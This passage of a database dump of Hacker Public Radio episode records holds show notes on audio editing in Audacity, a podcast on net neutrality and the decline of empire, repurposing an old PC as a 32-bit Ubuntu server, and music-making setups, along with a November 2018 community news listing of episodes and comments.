3:1</li>\r\n <li>Attack Time: 0.2sec</li>\r\n <li>Decay Time: 1.0 sec</li>\r\n <li>\"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.</li>\r\n </ul>\r\n<p>After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.</p>\r\n<p>At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file\'s metadata. We use the \"Truncate Silence\" effect with it\'s default settings to minimize the silence between people speaking. When used with it\'s default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.</p>\r\n<p>At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.</p>\r\n<p>We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR FTP server.</p>\r\n<p>Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.</p>\r\n',157,53,1,'CC-BY-SA','HPR AudioBookClub, Triplanetary, E. E. \"Doc\" Smith',0,0,1),
(2460,'2018-01-05','The Alien Brothers Podcast - S01E03 - Decline of American Empire',6830,'The Alien Brothers penetrate the Van Allen belt to tap in, and transmit an intergalactic podcast','<h1>Summary:</h1>\r\n<p>\r\nCasper and Rutiger opt for a time of ease and relaxation by discussing happy light topics: the <em>decline of American Empire</em> and <em>recent <a href=\"https://www.google.com/url?q=https://www.cnbc.com/2017/12/14/fcc-reverses-open-internet-order-governing-net-neutrality.html&amp;sa=D&amp;ust=1513926885706000&amp;usg=AFQjCNGZt2slIT3aeHGveiV4ZnXmZYOhnA\">reversal of Net Neutrality protections</a></em> [or the rollout of Net Neuterality -c] (December 2017).\r\n</p>\r\n<h1>Links and Notes:</h1>\r\n<p>\r\n<strong>Re: Empire</strong> - moral decline and massive wealth inequality, role in imperial decline <a href=\"https://www.google.com/url?q=https://www.businessinsider.com/2-overlooked-characteristics-of-an-empire-in-decline-2015-10&amp;sa=D&amp;ust=1513926885707000&amp;usg=AFQjCNFa_5D5Gx9clZpm-alySTAjKCl6Og\">[1]</a> -r<br/>\r\n<strong>Re: Empire</strong> - Noam Chomsky and Decline of American Empire <a href=\"https://www.google.com/url?q=https://www.youtube.com/watch?v%3DoLOUJ0C61O0&amp;sa=D&amp;ust=1513926885708000&amp;usg=AFQjCNHcdsaF1pzjhkcjc5KeYAw9ayBH8A\">[2]</a> -r<br/>\r\n<strong>Re: Empire</strong> - moral decline - death as sport (Onion spoof) <a href=\"https://www.google.com/url?q=https://www.youtube.com/watch?v%3DHyph_DZa_GQ&amp;sa=D&amp;ust=1513926885708000&amp;usg=AFQjCNHs7nXBhvmV4i82k-Jh-ooQmyUfgA\">[3]</a> -r<br/>\r\n<strong>Re: Net Neutrality</strong> - Rutiger apologies - to Casper, for completely derailing the conversation on Net Neutrality by believing that pay-for-bandwidth/capacity and limiting access to content are both legitimate elements of the Net Neutrality debate, but over-focusing on the infrastructure/de-emphasizing the content argument. See <a href=\"https://www.google.com/url?q=https://en.wikipedia.org/wiki/Net_neutrality%23Prevent_overuse_of_bandwidth&amp;sa=D&amp;ust=1513926885709000&amp;usg=AFQjCNG-cpGrTBMts6ZBnNe70pwsRmh4uQ\">Prevent Over-Use of Bandwidth</a> and <a href=\"https://www.google.com/url?q=https://en.wikipedia.org/wiki/Net_neutrality%23Pricing_models&amp;sa=D&amp;ust=1513926885709000&amp;usg=AFQjCNGLFZMwvku5aEIMc12xUp5B_2-Fmg\">Pricing Models</a> vs. <a href=\"https://www.google.com/url?q=https://en.wikipedia.org/wiki/Net_neutrality%23Data_discrimination&amp;sa=D&amp;ust=1513926885710000&amp;usg=AFQjCNE8FZmUnilxtALBwMA4myBkHNBcjg\">Data Discrimination</a> <a href=\"https://www.google.com/url?q=https://en.wikipedia.org/wiki/Net_neutrality&amp;sa=D&amp;ust=1513926885710000&amp;usg=AFQjCNG4ZUX2pOEnC0yPI0m50kdL42_n-g\">[4]</a> -r<br/>\r\n<strong>Re: Empire</strong> - consumption of human suffering as entertainment - modern Roman colosseum <a href=\"https://www.google.com/url?q=https://www.eonline.com/news/367020/lindsay-lohan-a-timeline-of-all-her-arrests-and-boy-there-are-a-lot-of-em&amp;sa=D&amp;ust=1513926885711000&amp;usg=AFQjCNGy09hpDmDL7x25vzJ31pm_LiqWuQ\">[5]</a> -r <br/>\r\n<strong>Re: Empire</strong> - the thought leaders over at Reddit on elements of declining empire <a href=\"https://www.google.com/url?q=https://www.reddit.com/r/AskHistorians/comments/34fnw9/what_are_the_characteristic_signs_of_a_declining/&amp;sa=D&amp;ust=1513926885711000&amp;usg=AFQjCNHQvIfniCHqgDstF7ZpYRmVmLz-MQ\">[6]</a> -r <br/>\r\n<strong>Re: Thoughts</strong> - Volume One Chapter Two of Diek Minusky&rsquo;s <strong>The Nature of Systems</strong> will be coming with&hellip; episode 4! Sorry folks. Hold&hellip; hold! -r<br/>\r\n<strong>Re: Getting Things Done</strong> - by David Allen [<a href=\"https://www.google.com/url?q=https://en.wikipedia.org/wiki/Getting_Things_Done?wprov%3Dsfti1&amp;sa=D&amp;ust=1513926885712000&amp;usg=AFQjCNGsprONTkDHQk_oZmnR8PIgrd29Sw\">7</a>]<br/>\r\n</p>\r\n<ul>\r\n<li>[1] <a href=\"https://www.google.com/url?q=https://www.businessinsider.com/2-overlooked-characteristics-of-an-empire-in-decline-2015-10&amp;sa=D&amp;ust=1513926885712000&amp;usg=AFQjCNGF7nnnemC3Su4IIF61on_6IjvAMA\">2 overlooked characteristics of an empire in decline - Business Insider</a>\r\n</li>\r\n<li>[2] <a href=\"https://www.google.com/url?q=https://www.youtube.com/watch?v%3DoLOUJ0C61O0&amp;sa=D&amp;ust=1513926885713000&amp;usg=AFQjCNHNRm0rZT9z0MxAMJFtjOTqErSJzg\">Noam Chomsky - on the Decline of the American Empire - YouTube</a> - Al Jazeera</li>\r\n<li>[3] <a href=\"https://www.google.com/url?q=https://www.youtube.com/watch?v%3DHyph_DZa_GQ&amp;sa=D&amp;ust=1513926885713000&amp;usg=AFQjCNGuCvf5Py4sStnR9uUtedTTXwFB9A\">Supreme Court: Death Penalty Is \'Totally Badass\' - YouTube</a> - The Onion News Network</li>\r\n<li>[4] <a href=\"https://www.google.com/url?q=https://en.wikipedia.org/wiki/Net_neutrality&amp;sa=D&amp;ust=1513926885714000&amp;usg=AFQjCNG6sTJOxSvBQ-Ywl-RVRgvUo6jCEw\">https://en.wikipedia.org/wiki/Net_neutrality</a> - Wikipedia</li>\r\n<li>[5] <a href=\"https://www.google.com/url?q=https://www.eonline.com/news/367020/lindsay-lohan-a-timeline-of-all-her-arrests-and-boy-there-are-a-lot-of-em&amp;sa=D&amp;ust=1513926885714000&amp;usg=AFQjCNEDcxEmes1tfmUS7fkQkH1bZD6LGw\">Lindsay Lohan: A Timeline of All Her Arrests (and Boy, There Are a Lot &hellip;</a> - E! Online</li>\r\n<li>[6] <a href=\"https://www.google.com/url?q=https://www.reddit.com/r/AskHistorians/comments/34fnw9/what_are_the_characteristic_signs_of_a_declining/&amp;sa=D&amp;ust=1513926885715000&amp;usg=AFQjCNG69NTgUj39KYE99_ESedlOq_UGQg\">What Are the Characteristic Signs of a Declining Empire/State?</a> - Reddit thread</li>\r\n<li>[7] <a href=\"https://www.google.com/url?q=https://en.wikipedia.org/wiki/Getting_Things_Done?wprov%3Dsfti1&amp;sa=D&amp;ust=1513926885716000&amp;usg=AFQjCNGewMgVm4qWoT51ut-gC8N8ZDBHww\">Getting Things Done</a> - Wikipedia </li>\r\n</ul>\r\n\r\n<h1>Timeline / Additional Links:</h1>\r\n<p>\r\n<strong>00:00:00 - 00:13:00 Settling in</strong> - Casper and Rutiger get acquainted after being off the air for a while. Skip this part if you don&rsquo;t care about the characters Casper and Rutiger and their degeneration&hellip;<br/>\r\n<strong>Begin Topic 1: Net Neuterality / Net Neutrality Rollback</strong><br/>\r\n<strong>00:14:00 - 00:30:00 The Deployment of Net Neuterality / Rollback of Net Neutrality</strong> - Casper attempts to boil this topic down nice and easy for Rutiger, yet Rutiger conflates this (see above), but that is OK as this is normal for pleebs. Members of HPR will understand.<br/>\r\n<strong>00:30:00 - 00:36:00 Fox &amp; Disney Merger</strong> - Coincidence or Conspiracy on timing w/ Net Neutrality rollback?<br/>\r\n<strong>00:36:00 - 00:40:30 How Should HPR Community Respond or Mitigate This? </strong> Credit goes to Rob Placone and Jimmy Dore for mentioning Municipality developed internet<br/>\r\n<a href=\"https://www.google.com/url?q=https://www.youtube.com/watch?v%3DmvJ93kjSXiQ&amp;sa=D&amp;ust=1513926885717000&amp;usg=AFQjCNFpG46IkPUOXpEqaYmyf3moojSKJg\">https://www.youtube.com/watch?v=mvJ93kjSXiQ</a><br/>\r\n<strong>00:40:30 - 00:48:00 Discussion on Availability of Access</strong><br/>\r\n<strong>00:48:00 - 00:52:00 Casper takes a sharp pivot off track</strong> - A satellite is mentioned and Casper brings up DMB unfortunately for the listener<br/>\r\n<strong>00:52:00 - 00:56:00 FREESTYLE JAM!@&amp;#%^</strong><br/>\r\n<strong>00:58:00 - Ron Swanson has words for Ajit Pai</strong><br/>\r\n<strong>01:00:00 - Rutiger Does Not Speak in Tribe Called Quest Protocol call and response</strong><br/>\r\n<strong>01:05:00 - 01:20:00 Casper and Rutiger give their distinct definition of Empire </strong> and expand upon this<br/>\r\n<strong>01:20:00 - 01:23:00 MUDs, OG Tech &amp; Being Alone Together</strong><br/>\r\n<strong>01:23:00 - Casper mentions 150 people own EVERYTHING </strong> as mentioned here by Chamath Palihapitiya <br/>\r\n<a href=\"https://www.google.com/url?q=https://www.youtube.com/watch?v%3DPMotykw0SIk&amp;sa=D&amp;ust=1513926885719000&amp;usg=AFQjCNEAP85KwhfeWzniBeU5OHqnn6D-fg\">https://www.youtube.com/watch?v=PMotykw0SIk</a><br/>\r\n&ldquo;During his View From The Top talk, Chamath Palihapitiya, founder and CEO of Social Capital, discussed how money is an instrument of change which should be used to make the world a better place&rdquo;<br/>\r\n<strong>01:27:00 - 01:30:00 - Being Alone Together</strong><br/>\r\n<strong>01:30:00 - 01:33:00 - Bullying and how Technology can Exponentiate this</strong><br/>\r\n<strong>01:33:00 - How to DEBUG&hellip; seriously</strong> <a href=\"https://www.google.com/url?q=https://conncounseling.weebly.com/stop--debug.html&amp;sa=D&amp;ust=1513926885720000&amp;usg=AFQjCNH7YekNtAfY_5y2VtHfKWNNwgBpbA\">https://conncounseling.weebly.com/stop--debug.html</a><br/>\r\n<strong>01:39:00 - Consumerism and the Decline of Empire</strong><br/>\r\n<strong>01:40:00 - DW Documentaries Casper said he would find</strong><br/>\r\n<strong>Greed - </strong> <a href=\"https://www.google.com/url?q=https://www.dw.com/en/tv/greed/s-32898&amp;sa=D&amp;ust=1513926885721000&amp;usg=AFQjCNFmmHny6Vc4IQSfB5r-khEB2cgn9Q\">https://www.dw.com/en/tv/greed/s-32898</a><br/>\r\n<strong>The Divide Part 1 - </strong> <a href=\"https://www.google.com/url?q=https://www.dw.com/en/the-divide-part-1/av-41378206&amp;sa=D&amp;ust=1513926885721000&amp;usg=AFQjCNE4pHIz46RsFouZeaiyZg-jKw8Y8w\">https://www.dw.com/en/the-divide-part-1/av-41378206</a><br/>\r\n<strong>The Divide Part 2 - </strong> <a href=\"https://www.google.com/url?q=https://www.dw.com/en/the-divide-2/av-41467377&amp;sa=D&amp;ust=1513926885722000&amp;usg=AFQjCNFV3vhgVvJh_gEncB08xFY3f0BKAA\">https://www.dw.com/en/the-divide-2/av-41467377</a><br/>\r\n<strong>01:42:00 - Immortality Through Consumerism?</strong><br/>\r\n<strong>01:43:00 - Where are we if Not Here?</strong><br/>\r\n<strong>01:45:00 - Self Destruction</strong><br/>\r\n<strong>01:46:00 - Celebrity Chefs and the Tie to the Roman Empire </strong> - Casper remembered post-cast that this was from The Four Horsemen Documentary as explained here:<br/>\r\n<a href=\"https://www.google.com/url?q=https://barnabyisright.com/2013/03/30/why-celebrity-chefs-herald-the-end-of-empire/&amp;sa=D&amp;ust=1513926885723000&amp;usg=AFQjCNH4L_nf_CuR7D3StEBRzgk8nJsNJw\">https://barnabyisright.com/2013/03/30/why-celebrity-chefs-herald-the-end-of-empire/</a><br/>\r\n<strong>01:47:00 - Casper (Mis)Quotes Frank Zappa - </strong> by saying &ldquo;Politics is the entertainment branch of the Military Industrial Complex&rdquo; <a href=\"https://www.google.com/url?q=https://www.reddit.com/r/Zappa/comments/2qxpnu/politics_is_the_entertainment_branch_of_industry/&amp;sa=D&amp;ust=1513926885724000&amp;usg=AFQjCNFLlMRo6XDStxLIdLZ_MCBCQaTpvw\">https://www.reddit.com/r/Zappa/comments/2qxpnu/politics_is_the_entertainment_branch_of_industry/</a><br/>\r\n<strong>01:48:00 - (S)Elections are becoming irrelevant</strong><br/>\r\n<strong>01:50:00 - Casper recommends International News Alternatives like BBC, RT, AlJazeera </strong> if you would like to know what is going on in the world<br/>\r\nAddendum - Not mentioned in Podcast, but worth a link regarding the state of our MSM in reporting false information on Russia and WikiLeaks from Glenn Greenwald:<br/>\r\n<a href=\"https://www.google.com/url?q=https://theintercept.com/2017/12/09/the-u-s-media-yesterday-suffered-its-most-humiliating-debacle-in-ages-now-refuses-all-transparency-over-what-happened/&amp;sa=D&amp;ust=1513926885725000&amp;usg=AFQjCNEw31HmdU99U-eAfEtOTFTP_Zuysw\">https://theintercept.com/2017/12/09/the-u-s-media-yesterday-suffered-its-most-humiliating-debacle-in-ages-now-refuses-all-transparency-over-what-happened/</a><br/>\r\n<strong>01:51:00 - Wrapping Up The Show &amp; ShoutOuts to Klaatu!</strong><br/>\r\n<strong>01:53:00 - Casper argues with Gerald to cut the recording</strong>\r\n</p>\r\n',359,0,1,'CC-BY-SA','Net Neutrality',0,0,1),
(2463,'2018-01-10','Setting up a 32 Bit Ubuntu Server',762,'Repurpose a 32 bit small form factor working station','<p>So what is the purpose - I had an old windows backup workstation at work that I did a lot backups with. It got to the point where it was just too slow and low spec to handle the windows 7 updates and with my company switching to the 365/sharepoint/one drive it was not needed anymore. So I wanted not to throw it away as I had sprung for 160GB hard drive a long time ago. “I know at work and purchasing a hard drive for work.” But it lasted more than 10 years doing my outlook backups and file shares.</p>\r\n<p>So my first problem was I was pretty sure I only had 32 bit.</p>\r\n<p>So no centos or suse in 32 bit. I could have went fedora but I wanted a really long time with support. So it came down to ubuntu 16.04, Debian or Net BSD with I386 repos I could use long term. I was more comfortable with Ubuntu and 16.04 has about 3 years support left on it.</p>\r\n<p>Its a small form factor computer so I carried it home for a few days. And got the ISO down loaded again no usb drive boot only DVD.</p>\r\n<p>So what is it. I did a uname -a and and looked at the proc cpu to see what the cpu was.<br />\r\n<a href=\"https://www.tecmint.com/find-out-linux-system-is-32-bit-or-64-bit/\" class=\"uri\">https://www.tecmint.com/find-out-linux-system-is-32-bit-or-64-bit/</a><br />\r\n<a href=\"https://www.computerhope.com/issues/ch001121.htm\" class=\"uri\">https://www.computerhope.com/issues/ch001121.htm</a><br />\r\nThe second linked worked best.</p>\r\n<p>I had a lot of trouble with lamp and own/next cloud with both snaps and straight install. I broke the install several times. In the end I said what do really know how do well with it right now. So I installed Open SSH server, tightVNC, A really thin xfce 4, ffmpeg and youtube-dl and uget. So I will play with snaps only in the future and keep this basic config.</p>\r\n<p><a href=\"https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-vnc-on-ubuntu-16-04\" class=\"uri\">https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-vnc-on-ubuntu-16-04</a></p>\r\n<p>Note I did not auto start VNC because I found in my creations of this server that it used too much RAM vs just starting it and killing it.</p>\r\n<p>It is the perfect video processing machine in the moment. If youtube-dl can’t get it I can use uget via vnc and that will then transcode if needed. Mostly for mp3.<br />\r\n<a href=\"https://rg3.github.io/youtube-dl/\" class=\"uri\">https://rg3.github.io/youtube-dl/</a> youtube-dl is a command-line program to download videos from YouTube.com and a few more sites. It requires the Python interpreter, version 2.6, 2.7, or 3.2+, and it is not platform specific. It should work on your Unix box, on Windows or on Mac OS X. It is released to the public domain, which means you can modify it, redistribute it or use it however you like.</p>\r\n<p>I will work on the nextcloud snap and other snaps as they are easy to install or remove without hurting the base system.</p>\r\n<p>Possible other projects - Owncloud or Storj<br />\r\n<a href=\"https://storj.io/share.html\" class=\"uri\">https://storj.io/share.html</a><br />\r\nOne you can make a little money with it :)</p>\r\n',129,0,0,'CC-BY-SA','32-bit server, Ubuntu',0,0,1),
(2464,'2018-01-11','The Alien Brothers Podcast - S01E04 - Digital Instruments',3906,'Casper and Rutiger Detail their Digital and Analog Sonic Setups in IOS and Android','<p>Casper and Rutiger are back with a very simple topic: Making music with various Digital Audio Workstations.</p>\r\n<p>Rutiger details his MacOS / iOS platform and the Apps he uses to create his noise:<br />\r\n<a href=\"https://soundcloud.com/fibrechannel\" class=\"uri\">https://soundcloud.com/fibrechannel</a></p>\r\n<p>Casper details his Windows setup with a relatively cheap DAW and various Analog and Digital transmissions he uses to create his noise:<br />\r\n<a href=\"https://soundcloud.com/user-393542827\" class=\"uri\">https://soundcloud.com/user-393542827</a></p>\r\n<p><span class=\"citation\" data-cites=\"alienbpc\">@alienbpc</span></p>\r\n',359,0,1,'CC-BY-SA','DAW, Sonic Voyages, iOS Music Apps, PreSonus Audiobox 22vsl, Logic Pro X, Studio One',0,0,1),
(2696,'2018-12-03','HPR Community News for November 2018',4317,'HPR Volunteers talk about shows released and comments posted in November 2018','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=371\" target=\"_blank\">desearcher</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2674\" target=\"_blank\">2674</a></strong></td>\n    <td>Thu</td>\n    <td>2018-11-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2674\" target=\"_blank\">Raspberry pi3 open media server</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2675\" target=\"_blank\">2675</a></strong></td>\n    <td>Fri</td>\n    <td>2018-11-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2675\" target=\"_blank\">YouTube Playlists</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2676\" target=\"_blank\">2676</a></strong></td>\n    <td>Mon</td>\n    <td>2018-11-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2676\" target=\"_blank\">HPR Community News for October 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2677\" target=\"_blank\">2677</a></strong></td>\n    <td>Tue</td>\n    <td>2018-11-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2677\" target=\"_blank\">Thoughts on language learning part 4 - RPG.</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2678\" target=\"_blank\">2678</a></strong></td>\n    <td>Wed</td>\n    <td>2018-11-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2678\" target=\"_blank\">Explaining the controls on my Amateur HF Radio Part 4</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2679\" target=\"_blank\">2679</a></strong></td>\n    <td>Thu</td>\n    <td>2018-11-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2679\" target=\"_blank\">Extra ancillary Bash tips - 13</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2680\" target=\"_blank\">2680</a></strong></td>\n    <td>Fri</td>\n    <td>2018-11-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2680\" target=\"_blank\">Some Additional Talk About Characters -- 01</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2681\" target=\"_blank\">2681</a></strong></td>\n    <td>Mon</td>\n    <td>2018-11-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2681\" target=\"_blank\">DerbyCon Interview - Hackers for Charity</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2682\" target=\"_blank\">2682</a></strong></td>\n    <td>Tue</td>\n    <td>2018-11-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2682\" target=\"_blank\">(NOT) All About Blender</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2683\" target=\"_blank\">2683</a></strong></td>\n    <td>Wed</td>\n    <td>2018-11-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2683\" target=\"_blank\">Using Open source tools to visualize the heartrate and blood oxygen saturation level of my stepchild</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2684\" target=\"_blank\">2684</a></strong></td>\n    <td>Thu</td>\n    <td>2018-11-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2684\" target=\"_blank\">Making a remote control visible</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2685\" target=\"_blank\">2685</a></strong></td>\n    <td>Fri</td>\n    <td>2018-11-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2685\" target=\"_blank\">Scientific and Medical Reports</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2686\" target=\"_blank\">2686</a></strong></td>\n    <td>Mon</td>\n    <td>2018-11-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2686\" target=\"_blank\">(NOT) All About Blender - Part the Second</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2687\" target=\"_blank\">2687</a></strong></td>\n    <td>Tue</td>\n    <td>2018-11-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2687\" target=\"_blank\">Some Additional Talk About Characters -- 02</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2688\" target=\"_blank\">2688</a></strong></td>\n    <td>Wed</td>\n    <td>2018-11-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2688\" target=\"_blank\">Explaining the controls on my Amateur HF Radio Part 5</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2689\" target=\"_blank\">2689</a></strong></td>\n    <td>Thu</td>\n    <td>2018-11-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2689\" target=\"_blank\">Bash Tips - 14</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2690\" target=\"_blank\">2690</a></strong></td>\n    <td>Fri</td>\n    <td>2018-11-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2690\" target=\"_blank\">A chat about the HiveMQ Broker</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2691\" target=\"_blank\">2691</a></strong></td>\n    <td>Mon</td>\n    <td>2018-11-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2691\" target=\"_blank\">DerbyCon Interview - John Strand</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2692\" target=\"_blank\">2692</a></strong></td>\n    <td>Tue</td>\n    <td>2018-11-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2692\" target=\"_blank\">YouTube URL tricks</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=371\" target=\"_blank\">desearcher</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2693\" target=\"_blank\">2693</a></strong></td>\n    <td>Wed</td>\n    <td>2018-11-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2693\" target=\"_blank\">Getting started with web based game in Haskell and Elm</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2694\" target=\"_blank\">2694</a></strong></td>\n    <td>Thu</td>\n    <td>2018-11-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2694\" target=\"_blank\">Bandit Update</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2695\" target=\"_blank\">2695</a></strong></td>\n    <td>Fri</td>\n    <td>2018-11-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2695\" target=\"_blank\">Problems with Studies</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 24 comments in total.</p>\n<p>There are 9 comments on\n7 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2399#comments\" target=\"_blank\">hpr2399</a></strong>\n(2017-10-12) \"<em>Using Super Glue to create Landmarks on Keyboards</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2399#8\" target=\"_blank\">Comment 8</a>:\ndodddummy on 2018-11-23:\n\"There\'s nothing new under the sun.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2558#comments\" target=\"_blank\">hpr2558</a></strong>\n(2018-05-23) \"<em>Battling with English - part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2558#7\" target=\"_blank\">Comment 7</a>:\nFiftyOneFifty on 2018-11-05:\n\"You missed one\"</li>\n<li>\n<a 